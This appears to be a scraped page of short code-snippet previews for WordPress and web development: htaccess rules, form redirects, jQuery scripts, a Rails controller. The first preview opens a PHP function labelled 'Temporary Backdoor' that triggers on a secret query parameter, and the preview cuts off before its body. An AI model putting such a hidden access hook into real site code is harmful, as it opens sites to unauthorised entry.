This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * | |
| * Temporary Backdoor | |
| * | |
| */ | |
| //Your website’s backdoor is: mywebsite.com/?backdoor=go | |
| function holeinthewall() { | |
| if ($_GET['backdoor'] == 'go') { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Directions: Add this file to the bottom of your htaccess file | |
| # Restrict Direct Access To Files | |
| RewriteEngine On | |
| RewriteCond %{HTTP_REFERER} !^https://(www\.)?backyardriches\.com/ [NC] | |
| RewriteCond %{REQUEST_URI} !hotlink\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov) [NC] | |
| RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] | |
| RewriteRule .*\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov)$ https://backyardriches.com/ [NC] | |
| # END Restrict Direct Access To Files |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function redirect_cf7() { | |
| ?> | |
| <script type="text/javascript"> | |
| document.addEventListener( 'wpcf7mailsent', function( event ) { | |
| if ( '947' == event.detail.contactFormId ) { // Sends sumissions on form 947 to the first thank you page | |
| location = 'https://www.example.com/thank-you-1/'; | |
| } else if ( '1070' == event.detail.contactFormId ) { // Sends submissions on form 1070 to the second thank you page | |
| location = 'https://www.example.com/thank-you-2/'; | |
| } else { // Sends submissions on all unaccounted for forms to the third thank you page | |
| location = 'https://www.example.com/thank-you-3/'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!doctype html> | |
| <head> | |
| <title>Notification Bar</title> | |
| </head> | |
| <body> | |
| <div id="notificationBar"> | |
| <i class="fa fa-times close-btn"></i> | |
| <div class="container"> | |
| <p>October 18, 2018: Rock Concert - Revival 2018 - Tickets are only $20! Band Name 1, Band Name 2, Band Name 3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| --- | |
| version: 1.0 | |
| domains: | |
| - www.legends.website | |
| url_patterns: | |
| - www.legends.website/* | |
| timestamp: '2018-07-31T16:37:28Z' | |
| id: ntEa | |
| redirect_url: http://www.legends.website/landing-page/#contact | |
| shared_via: StyleURL - (https://styleurl.app) import and export CSS changes from Chrome |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| var js = jQuery.noConflict(); | |
| js(document).on('click', 'a[href^="#"]', function (event) { | |
| event.preventDefault(); | |
| js('html, body').animate({ | |
| scrollTop: js(js.attr(this, 'href')).offset().top-100 | |
| }, 500); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class TweetsController < ApplicationController | |
| # GET /tweets | |
| def index | |
| @tweets = Tweet.all | |
| end | |
| # GET /tweets/1 | |
| def show | |
| @tweet = Tweet.find(params[:id]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| $(document).ready(function(){ | |
| $(".order2stepbuttonOrder").hide(); | |
| $("#bump-offer").click(function() { | |
| $(".order2stepbuttonOrder").toggle(); | |
| }); | |
| }); | |
| </script> |